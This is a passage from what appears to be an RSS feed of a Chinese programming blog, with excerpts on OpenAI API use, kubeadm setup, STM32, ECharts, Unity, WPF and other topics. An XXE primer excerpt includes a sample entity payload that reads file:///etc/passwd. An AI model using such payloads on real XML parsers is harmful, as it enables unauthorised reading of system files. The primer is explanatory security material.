&#39;user&#39;, content: &#39;你好，1+1等于几？&#39; }],# role参数有三个选项system(系统设定，赋予gpt一个角色)、user(代表用户也就是你)、assistant(代表gpt)，content就是文本内容了，需要联系上下文的话，把前面的历史对话都添加进入到这个数字里即可，这样GPT就能关联上下文了！ temperature=0.8,# 取值在0-2，值越低回答越死板较为官方标准，值越高回答越随机，答案可能会很离谱荒谬 stream=false, # 是否采用流文本传输，false的话GPT会一次性把回复内容全部发给你，等待的时间会比较长，响应数据里面会包含输入tokens数和输出tokens数；true的话GPT就会一个一个字的回复给你，需要多次接收，搞起来稍微麻烦一点，这样也能实现像官网那样的打字回复效果，但是响应数据里面不会包含输入tokens数和输出tokens数，这样就需要你利用tiktoken这个库去实现自己计算tokens的消耗了。 ) # 输出响应 print(response.choices[0].text.strip()) # 若需长期使用chatgpt需要必备三样东西： #1. 魔法梯子 #2. 国外手机号接验证码注册 #3. 国外信用卡（这个最难） #如果不想这么麻烦的话，这里有一个国内镜像可长期免费使用：chatgpt.indexls.com 在上面的代码中，我们通过设置openai.api_key变量将API密钥传递给OpenAI库。然后，我们调用了openai.Completion.create函数来发送一个聊天请求。在这个请求中，我们指定了ChatGPT的模型引擎、聊天的提示、生成的最大令牌数等参数。最后，我们打印出API的响应结果。</description>
    </item>
    <item>
      <title>【kubeadm的配置安装】</title>
      <link>https://bchobby.github.io/posts/137f77d2cb5dde9e293eadc13c4c28b6/</link>
      <pubDate>Sun, 20 Aug 2023 12:00:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/137f77d2cb5dde9e293eadc13c4c28b6/</guid>
      <description>目录 一、环境准备二、所有节点安装docker三、部署K8S集群1、查看镜像2、初始化kubeadm方法一：1、修改配置文件2、在线拉取镜像3、初始化 master 方法二、 3、设定kubectl4、所有节点部署网络插件flannel 四、部署 Dashboard1、在 master01 节点上操作 master（2C/4G，cpu核心数要求大于2）&#x9;192.168.102.10&#x9;docker、kubeadm、kubelet、kubectl、flannel node01（2C/2G）&#x9;192.168.102.30&#x9;docker、kubeadm、kubelet、kubectl、flannel node02（2C/2G）&#x9;192.168.102.40&#x9;docker、kubeadm、kubelet、kubectl、flannel Harbor节点（hub.kgc.com）&#x9;192.168.102.50&#x9;docker、docker-compose、harbor-offline-v1.2.2 1、在所有节点上安装Docker和kubeadm&#xA;2、部署Kubernetes Master&#xA;3、部署容器网络插件&#xA;4、部署 Kubernetes Node，将节点加入Kubernetes集群中&#xA;5、部署 Dashboard Web 页面，可视化查看Kubernetes资源&#xA;6、部署 Harbor 私有仓库，存放镜像资源&#xA;一、环境准备 //所有节点，关闭防火墙规则，关闭selinux，关闭swap交换 systemctl stop firewalld systemctl disable firewalld setenforce 0 sed -i &#39;s/enforcing/disabled/&#39; /etc/selinux/config iptables -F &amp;amp;&amp;amp; iptables -t nat -F &amp;amp;&amp;amp; iptables -t mangle -F &amp;amp;&amp;amp; iptables -X swapoff -a&#x9;#交换分区必须要关闭 sed -ri &#39;s/.</description>
    </item>
    <item>
      <title>高并发优化</title>
      <link>https://bchobby.github.io/posts/2e1ce542c794b2f5e4da08681e20a481/</link>
      <pubDate>Sun, 20 Aug 2023 11:30:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2e1ce542c794b2f5e4da08681e20a481/</guid>
      <description> </description>
    </item>
    <item>
      <title>高并发之消息队列</title>
      <link>https://bchobby.github.io/posts/4396705ea61e5e4404bcacb919e74784/</link>
      <pubDate>Sun, 20 Aug 2023 11:21:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4396705ea61e5e4404bcacb919e74784/</guid>
      <description> </description>
    </item>
    <item>
      <title>echart折线图，调节折线点和y轴的间距（亲测可用）</title>
      <link>https://bchobby.github.io/posts/804f56cbc0df02a676c728775f5d1c9e/</link>
      <pubDate>Sat, 19 Aug 2023 22:13:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/804f56cbc0df02a676c728775f5d1c9e/</guid>
      <description>options代码：&#xA;options = { tooltip: { trigger: &#39;axis&#39;, //坐标轴触发，主要在柱状图，折线图等会使用类目轴的图表中使用。 }, xAxis: { type: &#39;category&#39;,//类目轴，适用于离散的类目数据，为该类型时必须通过 data 设置类目数据。 name: &#39;日期&#39;,//坐标轴名称 boundaryGap: false, data: dataYearCountName, nameGap: 7,//坐标轴名称与轴线之间的距离。 axisTick: {//是否显示坐标轴刻度。 inside: true//坐标轴刻度是否朝内，默认朝外。 } }, yAxis: { type: &#39;value&#39;, name: &#39;例数&#39;, splitLine: { show: false//是否显示分隔线。默认数值轴显示，类目轴不显示。 }, nameGap: 15, axisTick: { inside: true } }, series: [{ type: &#39;line&#39;,//线条 name: &#39;例数&#39;,//系列名称，用于tooltip的显示 data: dataYearCountNum, symbol: &#39;circle&#39;,//标记的类型：圆圈 label: { show: true, position: &#39;top&#39; }, itemStyle: { normal: { shadowBlur: 50,//文字块的背景阴影长度。 shadowColor: &#39;red&#39;,//文字块的背景阴影颜色。 color: &#39;red&#39;,//图形的颜色 lineStyle: { color: &#39;#4d6dfd&#39;,//线的颜色 width: 1//线的宽度 } } } }], grid: { x: &#39;0&#39;, //相当于距离左边效果:padding-left y: &#39;15%&#39;, //相当于距离上边效果:padding-top bottom: &#39;3%&#39;, containLabel: true } }; 调节前如图：</description>
    </item>
    <item>
      <title>Stm32f103c8t6(proteus仿真)学习——8-1.输入捕获模式测量频率</title>
      <link>https://bchobby.github.io/posts/0de0184df89ab2cab48aace63c2e24be/</link>
      <pubDate>Sat, 19 Aug 2023 19:14:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0de0184df89ab2cab48aace63c2e24be/</guid>
      <description>目录 **一、proteus原理图绘制****二、代码的编写****1. IC.c文件****2. IC.h文件****3. PWM.c文件****4. PWM.h文件****5. main.c文件****6. 效果展示** **三、项目(代码+仿真)分享链接** 一、proteus原理图绘制 输入捕获模式测量频率，原理图如下&#xA;这里使用TIM3 CH1产生PWM信号，使用TIM2 CHI输入捕获PWM信号&#xA;对应引脚是 TIM3 CH1：PA6；TIM2 CH1：PA0&#xA;二、代码的编写 1. IC.c文件 此文件是用来配置输入捕获模式的&#xA;使用 TIM2 CH1：PA0&#xA;#include &#34;IC.h&#34; void IC_Init(void) //输入捕获初始化函数 { //GPIO的结构体定义，定义一个GPIO类型的结构体，名字为GPIO_InitStructure GPIO_InitTypeDef GPIO_InitStructure; //TIM_TimeBase的结构体定义，定义一个TIM_TimeBase类型的结构体，名字为TIM_TimeBaseInitStructure TIM_TimeBaseInitTypeDef TIM_TimeBaseInitStructure; //TIM_IC的结构体定义，定义一个TIM_IC类型的结构体，名字为TIM_ICInitStructure TIM_ICInitTypeDef TIM_ICInitStructure; //开启定时器2的时钟，注意是APB1（GPIO的是APB2） RCC_APB1PeriphClockCmd(RCC_APB1Periph_TIM2, ENABLE); //开启GPIO的时钟，注意是APB2 RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOA, ENABLE); //输入捕获引脚的定义，TIM2 CH1 --&amp;gt; 对应 PA0 GPIO_InitStructure.GPIO_Mode = GPIO_Mode_IPU; //设置引脚为上拉模式 GPIO_InitStructure.GPIO_Pin = GPIO_Pin_0; //PA0 GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz; //引脚速度 GPIO_Init(GPIOA, &amp;amp;GPIO_InitStructure); //PA0 //选择定时器的内部时钟源 TIM2 TIM_InternalClockConfig(TIM2); //配置定时器时基单元：TIM_TimeBase //选择时钟分频，可以选择1分频、2分频和4分频 TIM_TimeBaseInitStructure.</description>
    </item>
    <item>
      <title>利用Jackson封装常用的JsonUtil工具类</title>
      <link>https://bchobby.github.io/posts/31e052e57859cbff819c0ae7c188f772/</link>
      <pubDate>Sat, 19 Aug 2023 17:42:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/31e052e57859cbff819c0ae7c188f772/</guid>
      <description>在实际开发中，我们对于 JSON 数据的处理，通常有这么几个第三方工具包可以使用：&#xA;gson：谷歌的fastjson：阿里巴巴的jackson：美国FasterXML公司的，Spring框架默认用的 由于以前一直用习惯了阿里的 fastjson，最近突然改为 jackson ，不是太习惯，所以手写一个工具类，应付一下工作中常用的一些方法。&#xA;1. 引入依赖包 在 pom.xml 文件中加入以下依赖&#xA;&amp;lt;!-- 引入jackson依赖包--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.fasterxml.jackson.core&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;jackson-databind&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.14.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 2. 编写 JsonUtil 工具类 package com.yuhuofei.utils; import com.fasterxml.jackson.annotation.JsonInclude; import com.fasterxml.jackson.core.JsonProcessingException; import com.fasterxml.jackson.core.type.TypeReference; import com.fasterxml.jackson.databind.DeserializationFeature; import com.fasterxml.jackson.databind.JsonNode; import com.fasterxml.jackson.databind.ObjectMapper; import com.fasterxml.jackson.databind.SerializationFeature; import com.fasterxml.jackson.databind.node.ArrayNode; import com.fasterxml.jackson.databind.node.ObjectNode; import lombok.extern.slf4j.Slf4j; import java.io.File; import java.io.IOException; import java.text.SimpleDateFormat; /** * @Description 由于习惯了用fastjson处理JSON数据，突然改成用jackson，有些不适应，所以打算用jackson封装出类似fastjson里的方法进行使用 * @ClassName JsonUtil * @Author yuhuofei * @Date 2023/8/19 14:36 * @Version 1.0 */ @Slf4j public class JsonUtil { private static ObjectMapper objectMapper = new ObjectMapper(); // 时间日期格式 private static final String STANDARD_FORMAT = &#34;</description>
    </item>
    <item>
      <title>Web安全之XXE漏洞</title>
      <link>https://bchobby.github.io/posts/f94732498bd5a659bfd8151dc9f38060/</link>
      <pubDate>Sat, 19 Aug 2023 17:18:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f94732498bd5a659bfd8151dc9f38060/</guid>
      <description>一、漏洞简介 1.1、XXE漏洞简介及产生原因 XXE漏洞简介&#xA;XXE(XML External Entity Injection)，即 XML 外部实体注入漏洞，XXE 漏洞发生在应用程序解析 XML 输入时，没有禁止外部实体的加载，导致可加载恶意外部文件，造成文件读取、命令执行、内网端口扫描、攻击内网网站，发起 dos 攻击。&#xA;XXE 漏洞触发的点出现在系统可以上传 XML 文件的位置，应用程序对XML输入进行解析时，没有对上传的 XML 文件内容进行过滤，没有禁止加载外部实体，导致攻击者可以构造一个恶意的 XML 文件进行上传。&#xA;产生原因&#xA;有外部实体，将数据传入服务器，而且传入的格式是 XML 。如下：&#xA;&amp;lt;!DOCTYPE message[&amp;lt;!ENTITY xxe SYSTEN &#34;file:///etc/passwd&#34;&amp;gt;]&amp;gt; 服务器会将 XML 进行解析，解析后将内容最终显示到某一个地方，最终显示数据的地方能够被取到。&#xA;1.2、XML简介 XML 指可扩展标记语言（EXtensible Markup Language）。&#xA;XML 是一种很像 HTML 的标记语言。&#xA;XML 的设计宗旨是传输数据，而不是显示数据。&#xA;XML 标签没有被预定义。您需要自行定义标签。&#xA;XML 被设计为具有自我描述性。&#xA;1.3、XML和HTLM的区别 XML 被设计用来传输和存储数据。&#xA;HTML 被设计用来显示数据。&#xA;1.4、XML文档构建模块 XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素。&#xA;所有的 XML 文档（以及 HTML 文档）均由以下简单的构建模块构成：元素、属性、实体、PCDATA、CDATA 1.4.1、实体 实体是用来定义普通文本的变量。实体引用是对实体的引用。&#xA;实体又分为一般实体和参数实体。&#xA;（1）一般实体&#xA;一般实体的声明：&amp;lt;!ENTITY 实体名称 &#34;实体内容&#34;&amp;gt;&#xA;引用一般实体的方法：&amp;amp;实体名称;</description>
    </item>
    <item>
      <title>Unity框架学习--场景切换管理器</title>
      <link>https://bchobby.github.io/posts/6429cd5373b204af0f5ccab4c1eed0f5/</link>
      <pubDate>Sat, 19 Aug 2023 16:45:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6429cd5373b204af0f5ccab4c1eed0f5/</guid>
      <description>活动场景 用脚本实例化的游戏对象都会生成在活动场景中。&#xA;哪个场景是活动场景，则当前的天空盒就会使用该场景的天空盒。&#xA;只能有一个场景是活动场景。&#xA;在Hierarchy右击一个场景，点击“Set Active Scene”可以手动把这个场景设置为活动场景。也可以使用SceneManager.SetActiveScene方法把一个加载了的场景设置为活动场景。&#xA;异步加载 AsyncOperation相关的代码应写在一个协同程序中。&#xA;AsyncOperation 对象名=SceneManager.LoadSceneAsync(string 场景名)&#xA;开启异步加载场景，并把异步加载的信息存储在AsyncOperation型对象中。&#xA;AsyncOperation型对象.allowSceneActivation&#xA;返回bool型，表示是否允许在场景加载完毕后立即激活该场景。&#xA;值为true表示一旦该场景异步加载完毕，则会立即激活该场景。&#xA;值为false表示即使加载场景完毕也不会激活该场景，直到用代码再次把这个变量的值改为true，才会激活该场景。&#xA;AsyncOperation型对象.progress&#xA;返回float型，范围是0-1。表示异步加载的进度，开始是0，完成时是1&#xA;注意：当AsyncOperation型变量.allowSceneActivation的值为false，这个参数的值最多会卡在0.9，直到AsyncOperation型变量.allowSceneActivation的值变为true，这个参数的值才会变为1&#xA;AsyncOperation型对象.isDone&#xA;返回bool型。表示该异步加载是否完成。如果完成，则值为true，如果未完成，则值为false。&#xA;当AsyncOperation型对象.progress的值为1时，此时这个变量的值才为true，但这样就会激活新的新场景，一般很难观测到AsyncOperation型对象.isDone是true&#xA;AsyncOperation型对象.priority&#xA;返回int型，用于设置异步操作的优先级。&#xA;当有多个异步操作排队时，将优先执行更高优先级的异步操作。但如果异步操作在后台线程上启动， 则更改优先级没有任何效果。&#xA;AsyncOperation.completed&#xA;这个是一个有一个AsyncOperation型参数的Action事件。该AsyncOperation型参数存储了本次异步加载的信息。&#xA;当异步加载完成，也就是AsyncOperation型对象.isDone的值为true时，会执行一次这个事件。&#xA;LoadSceneManager 代码 using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.SceneManagement; using UnityEngine.Events; /// &amp;lt;summary&amp;gt; /// 切换场景的管理器 /// &amp;lt;/summary&amp;gt; public class LoadSceneManager : SingletonPatternBase&amp;lt;LoadSceneManager&amp;gt; { /// &amp;lt;summary&amp;gt; /// 重新切换当前场景 /// &amp;lt;/summary&amp;gt; public void LoadActiveScene() { SceneManager.LoadScene(SceneManager.GetActiveScene().buildIndex); } /// &amp;lt;summary&amp;gt; /// 切换到下一个场景,是否场景循环，最后一个场景切换是切换为第一个场景 /// &amp;lt;/summary&amp;gt; public void LoadNextScene(bool isCyclical=false) { int buildIndex = SceneManager.</description>
    </item>
    <item>
      <title>【C语言】作业 - 分支语句</title>
      <link>https://bchobby.github.io/posts/fe5e0b3265096e8c0359b89f3fd21445/</link>
      <pubDate>Sat, 19 Aug 2023 15:05:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fe5e0b3265096e8c0359b89f3fd21445/</guid>
      <description>【1】单选题 【题目名称】&#xA;关于 switch 说法不正确的是：（ ）&#xA;【题目内容】&#xA;A. switct 语句中的 default 子句可以放在任意位置&#xA;B. switch 语句中 case 后的表达式只能是整形常量表达式&#xA;C. switch 语句中 case 子句必须在default子句之前&#xA;D. switch 语句中 case 表达式不要求顺序&#xA;【答案解析】&#xA;A：正确，可以放在任意位置，但是一般建议最好还是放在最后。&#xA;B：正确，case 语句后一般放整形结果的常量表达式或者枚举类型，枚举类型也可以看成是一个特殊的常量。&#xA;C：错误，没有规定 case 必须在 default 之前，一般 case 最好放在 default 之前。&#xA;D：正确，但一般还是按照次序来。&#xA;【2】单选题 【题目名称】&#xA;则 func(1) = （ ）&#xA;【题目内容】&#xA;A. 30 B. 20 C. 16 D. 0&#xA;【答案解析】&#xA;switch 的每个 case 之后如果没有加 break 语句，当前 case 执行结束后，会继续执行紧跟case 中的语句。&#xA;func(1) 可知，在调用 func 时形参 a 的值为 1，switch(a) &amp;lt;==&amp;gt; switch(1), case 1 被命中，因为该 switch 语句中所有分支下都没有增加 break 语句，因此会从上往下顺序执行，最后执行default 中语句返回。</description>
    </item>
    <item>
      <title>Python：逢七拍腿游戏</title>
      <link>https://bchobby.github.io/posts/101fc262a60cd8cb2e6e742bbdbe8ecf/</link>
      <pubDate>Sat, 19 Aug 2023 08:59:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/101fc262a60cd8cb2e6e742bbdbe8ecf/</guid>
      <description>场景模拟： 通过在 for 循环中使用 continue 语句实现计算拍腿次数，即计算从1到100（不包括100），一共有多少个尾数为7或7的倍数这样的游戏，代码如下：&#xA;total = 99 # 记录拍腿次数的变量 for number in range(1, 100): # 创建一个从1到100（不包括）的循环 if number % 7 == 0: # 判断是否为7的倍数 continue # 继续下一次循环 else: string = str(number) # 将数值转换为字符串 if string.endswith(&#39;7&#39;): # 判断是否以数字7结尾 continue # 继续下一次循环 total -= 1 # 可拍腿次数-1 print(&#34;从1数到99共拍腿&#34;, total, &#39;次。&#39;) # 显示拍腿次数 说明：第3行代码实现的是：当所判断的数字是7的倍数时，会执行第4行的 continue 语句，跳过后面的减1操作，直接进入下一次循环；同理，第7行代码用于判断是否以数字7结尾，如果是，直接进入下一次循环</description>
    </item>
    <item>
      <title>WPF --- 重写圆角DataGrid样式</title>
      <link>https://bchobby.github.io/posts/e9aa871ae044d4ef1d21f596ba01eb97/</link>
      <pubDate>Sat, 19 Aug 2023 08:05:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e9aa871ae044d4ef1d21f596ba01eb97/</guid>
      <description>引言 因要符合UI设计， 需要一个圆角的 DataGrid 样式，且需要一个更美观的滚动条，所以重写了一下微软 「WPF」 原生的 DataGrid 的样式，包含如下内容：&#xA;基础设置，一些基本背景色，字体颜色等。&#xA;滚动条样式。&#xA;实现圆角表格，重写表格的一些基础样式，例如 CellStyle ，RowStyle,RowHeaderStyle, ColumnHeaderStyle等。&#xA;代码 「具体样式代码如下」：&#xA;&amp;lt;ResourceDictionary xmlns=&#34;http://schemas.microsoft.com/winfx/2006/xaml/presentation&#34; xmlns:x=&#34;http://schemas.microsoft.com/winfx/2006/xaml&#34; xmlns:System=&#34;clr-namespace:System;assembly=mscorlib&#34; xmlns:theme=&#34;clr-namespace:Microsoft.Windows.Themes;assembly=PresentationFramework.Classic&#34;&amp;gt; &amp;lt;!--#region 基础设置--&amp;gt; &amp;lt;SolidColorBrush x:Key=&#34;DataGridBackground&#34; Color=&#34;#DCE3EC&#34; /&amp;gt; &amp;lt;SolidColorBrush x:Key=&#34;DataGridForeground&#34; Color=&#34;#313F56&#34; /&amp;gt; &amp;lt;System:Double x:Key=&#34;DataGridFontSize&#34;&amp;gt;22&amp;lt;/System:Double&amp;gt; &amp;lt;SolidColorBrush x:Key=&#34;{x:Static DataGrid.FocusBorderBrushKey}&#34; Color=&#34;#FF000000&#34; /&amp;gt; &amp;lt;BooleanToVisibilityConverter x:Key=&#34;bool2VisibilityConverter&#34; /&amp;gt; &amp;lt;Style x:Key=&#34;RowHeaderGripperStyle&#34; TargetType=&#34;{x:Type Thumb}&#34;&amp;gt; &amp;lt;Setter Property=&#34;Height&#34; Value=&#34;8&#34; /&amp;gt; &amp;lt;Setter Property=&#34;Background&#34; Value=&#34;Transparent&#34; /&amp;gt; &amp;lt;Setter Property=&#34;Cursor&#34; Value=&#34;SizeNS&#34; /&amp;gt; &amp;lt;Setter Property=&#34;Template&#34;&amp;gt; &amp;lt;Setter.Value&amp;gt; &amp;lt;ControlTemplate TargetType=&#34;{x:Type Thumb}&#34;&amp;gt; &amp;lt;Border Padding=&#34;{TemplateBinding Padding}&#34; Background=&#34;{TemplateBinding Background}&#34; /&amp;gt; &amp;lt;/ControlTemplate&amp;gt; &amp;lt;/Setter.</description>
    </item>
    <item>
      <title>类似吾爱论坛的网站有哪些？软件网站合集推荐</title>
      <link>https://bchobby.github.io/posts/4fec04beae8808f17db3f630b07a01ac/</link>
      <pubDate>Sat, 19 Aug 2023 06:57:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4fec04beae8808f17db3f630b07a01ac/</guid>
      <description>你是不是经常想要下载一些优秀的软件，但却苦于找不到合适的资源？你是不是受够了那些充斥着广告和恶意链接的网站，渴望一个干净、安全、丰富的软件平台？你是不是想要随时随地享受软件的便利，摆脱时间和空间的束缚？如果你的答案是肯定的，那么请继续往下看，我将为你推荐几个高质量的软件资源网站，让你的软件之旅更加轻松愉快。&#xA;1、48下载 48软件下载听起来像是一个很不错的网站，提供免费软件下载和资源分享。它的分类涵盖了电脑软件、电脑游戏、手机应用、手机游戏等，看起来资源丰富多样。最重要的是，这个网站致力于打造绿色分享平台，意味着用户可以放心下载软件，不用担心恶意软件的存在。这对于我们寻找高质量软件资源的需求来说是非常重要的&#xA;2、CAD下载 CAD下载是一个专注于提供免费软件下载和资源分享的网站。网站内提供了丰富的电脑软件、电脑游戏、手机应用、手机游戏以及与CAD相关的资源和教程。我们致力于打造一个绿色的分享平台，确保用户能够安全、便捷地获取到他们所需的软件和资源。目标是为用户提供一个干净、安全、丰富的下载平台，让他们能够轻松享受到优质的软件和资源。无论你是需要CAD软件还是其他类型的软件，CAD下载都会是你的理想选择。&#xA;3、黑龙软件下载 黑龙下载站是一个为用户提供软件下载的网站。在站内分享各种软件、补丁、游戏等相关版本的下载。我们以快速更新、无推广为特点，致力于向互联网用户提供优质、方便、安全的软件下载服务。无论您需要什么类型的软件，黑龙下载站都会为您提供最新版本的下载，并确保下载过程安全可靠。目标是让用户能够轻松获取所需软件，并享受到高质量的下载服务。 4、CC下载 CC软件下载是一个提供海量免费、安全无捆绑的软件下载平台。定期更新资源，整理用户需要的各种应用工具，让大家可以方便地找到所需的软件。无论是电脑上的应用还是手机上的APP，用户都可以在CC软件下载找到并下载。致力于为用户提供一个安全、快速、方便的软件下载服务，让大家能够随时随地找到并下载所需的应用工具。无论您是电脑用户还是手机用户，只需来到CC软件下载，即可轻松获取所需的应用。&#xA;5、PS4X下载 地平线是一家专注于提供安全、纯净、快速下载服务的软件及手机应用平台。拥有海量的资源，并对这些资源进行严格的安全检测和测试，确保用户下载的应用都是纯净无毒的。不断升级和更新软件资源，以提供精致的服务，让用户能够快捷、省心地下载所需的软件。无论您是需要电脑软件还是手机应用，地平线都能满足您的需求。目标是为用户提供一个安全、稳定、高效的下载平台，让您能够轻松获取所需的软件，享受到优质的下载体验。选择地平线，让您的下载之路更加顺畅和放心。&#xA;6、去下载 去下载是一家专注于提供海量软件下载服务的平台。对所有资源进行安全检测和测试，确保用户下载的应用是纯净无毒的。定期升级并不断更新用户所需的软件，以提供精致的服务。致力于让您的下载过程快捷、省心。无论您需要哪种类型的软件，去下载都能满足您的需求。我们的目标是为用户提供一个安全、可靠的下载平台，让您能够轻松获取所需的软件，并享受到高质量的下载服务。选择去下载，让您的下载体验更加便捷和放心。&#xA;7、魔兽下载 魔兽下载是一个提供安卓、Windows等系统攻略和教程的平台，不间断地更新游戏和软件应用的相关内容，24小时保持更新。发布最新的原创游戏攻略和软件教程评测，为用户提供全面的游戏软件应用下载服务。不论您是需要游戏攻略，还是软件教程，魔兽下载都能满足您的需求。致力于为用户提供高质量的游戏软件下载服务，让您能够轻松获取最新的游戏和软件应用，并获得相关攻略和教程的帮助。选择魔兽下载，让您的游戏和软件使用更加顺利和愉快。&#xA;总结 对于一些知名站点和工具，它们运营多年，经过了长时间的验证和用户使用，因此也是相对可信赖的。用户可以根据自己的需求，在官方网站或经过验证的知名站点上下载所需的软件。然而，仍然建议在下载之前查看用户评价和进行安全检测，以确保下载的软件是可信的。保持警惕和谨慎，选择安全可靠的下载渠道，能够有效降低风险并保护个人电脑的安全。</description>
    </item>
    <item>
      <title>【win-server2012R2】无法启动此程序，因为计算机中丢失api-ms-win-crt-runtime-l1-1-0.dll。尝试重新安装该程序以解决此问题</title>
      <link>https://bchobby.github.io/posts/65f2b5293a8b4b8a98459ec4ff78578b/</link>
      <pubDate>Sat, 19 Aug 2023 01:07:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/65f2b5293a8b4b8a98459ec4ff78578b/</guid>
      <description>安装程序时提示缺少dll&#xA;解决方案：&#xA;上传DirectX Repair后，运行，注意打开修复失败时启用调试模式&#xA;修复后报错如下：&#xA;思路：经过网上查找资料安装补丁KB2999226之前需要安装KB2919355，安装KB2919355之前必须安装补丁KB2919442，一层一层的。&#xA;步骤：&#xA;1、下载补丁KB2919442；KB2919355；KB2999226&#xA;请百度查找相关文件上自行下载补丁，这里也有链接：&#xA;https://support.microsoft.com/en-us/help/2919442/march-2014-servicing-stack-update-for-windows-8-1-and-windows-server-2&#xA;https://support.microsoft.com/en-us/help/2919355/windows-rt-8-1-windows-8-1-windows-server-2012-r2-update-april-2014&#xA;https://support.microsoft.com/en-us/help/2999226/update-for-universal-c-runtime-in-windows&#xA;2、首先安装完成后KB2919442，立即重启生效&#xA;3、接下来安装KB2919355，立即重启生效&#xA;4、最后安装KB2999226，立即重启生效&#xA;最后再用DirectX Repair修复即可。</description>
    </item>
    <item>
      <title>解决react&#43;echarts的项目中There is a chart instance already initialized on the dom警告</title>
      <link>https://bchobby.github.io/posts/d209b757c33769758121c16b842d4b6e/</link>
      <pubDate>Fri, 18 Aug 2023 23:39:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d209b757c33769758121c16b842d4b6e/</guid>
      <description>转载来自消除There is a chart instance already initialized on the dom. React中使用echarts - 代码先锋网&#xA;使用echarts.getInstanceByDom获取之前可能创建过的实例，如果有则继续使用这个实例，否则创建&#xA;import * as echarts from &#39;echarts&#39;; import { useEffect } from &#39;react&#39; function EchartsCom(props: any) { let chartDom: any let myCharts: any const getEchartsData = (objs: any) =&amp;gt; { //获取echarts中的数据 return { xAxis: { type: &#39;category&#39;, data: objs.xAxis }, yAxis: { type: &#39;value&#39; }, series: [ { data: objs.series, type: &#39;line&#39; } ] } } // 监听父组件中传递的数据变化 useEffect(() =&amp;gt; { if (props?</description>
    </item>
    <item>
      <title>【STM32】FreeRTOS软件定时器学习</title>
      <link>https://bchobby.github.io/posts/ae026552178d04d19d74856281027131/</link>
      <pubDate>Fri, 18 Aug 2023 23:35:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ae026552178d04d19d74856281027131/</guid>
      <description>软件定时器&#xA;FreeRTOS提供了现成的软件定时器功能，可以一定程度上替代硬件定时器，但精度不高。&#xA;实验：创建一个任务，两个定时器，按键开启定时器，一个500ms打印一次，一个1000ms打印一次。&#xA;实现：在【STM32】FreeRTOS事件组学习基础上修改。&#xA;/* USER CODE END Variables */ osThreadId Task1Handle; osTimerId myTimer01Handle; osTimerId myTimer02Handle; /* Create the timer(s) */ /* definition and creation of myTimer01 */ osTimerDef(myTimer01, Callback01); myTimer01Handle = osTimerCreate(osTimer(myTimer01), osTimerPeriodic, NULL); /* definition and creation of myTimer02 */ osTimerDef(myTimer02, Callback02); myTimer02Handle = osTimerCreate(osTimer(myTimer02), osTimerPeriodic, NULL); /* USER CODE BEGIN RTOS_TIMERS */ 上面的代码是CubeMX封装好的。&#xA;下面编写自己需要的任务代码。&#xA;第一步：修改记数周期&#xA;/* start timers, add new ones, ... */ xTimerChangePeriod(myTimer01Handle,500,200); xTimerChangePeriod(myTimer02Handle,1000,200); 第二步：按键任务</description>
    </item>
    <item>
      <title>C语言入门 第一弹 一个简单的计算器</title>
      <link>https://bchobby.github.io/posts/6db279e2996ddc8178fe14494ad61d89/</link>
      <pubDate>Fri, 18 Aug 2023 23:06:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6db279e2996ddc8178fe14494ad61d89/</guid>
      <description>程序源代码&#xA;#include &amp;lt;stdio.h&amp;gt; int main() { char op; double num1, num2; printf(&#34;请输入第一个数字：\n&#34;); scanf(&#34;%lf&#34;, &amp;amp;num1); printf(&#34;请输入运算符（+、-、*、/）：&#34;); scanf(&#34; %c&#34;, &amp;amp;op); printf(&#34;请输入第二个数字：\n&#34;); scanf(&#34;%lf&#34;, &amp;amp;num2); switch(op) { case &#39;+&#39;: printf(&#34;%.2lf %c %.2lf = %.2lf\n&#34;, num1, op, num2, num1 + num2); break; case &#39;-&#39;: printf(&#34;%.2lf %c %.2lf = %.2lf\n&#34;, num1, op, num2, num1 - num2); break; case &#39;*&#39;: printf(&#34;%.2lf %c %.2lf = %.2lf\n&#34;, num1, op, num2, num1 * num2); break; case &#39;/&#39;: if(num2 == 0) { printf(&#34;</description>
    </item>
    <item>
      <title>zotero 使用方法</title>
      <link>https://bchobby.github.io/posts/8bcc433765ba35e404b3c5a68afb1357/</link>
      <pubDate>Fri, 18 Aug 2023 22:13:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8bcc433765ba35e404b3c5a68afb1357/</guid>
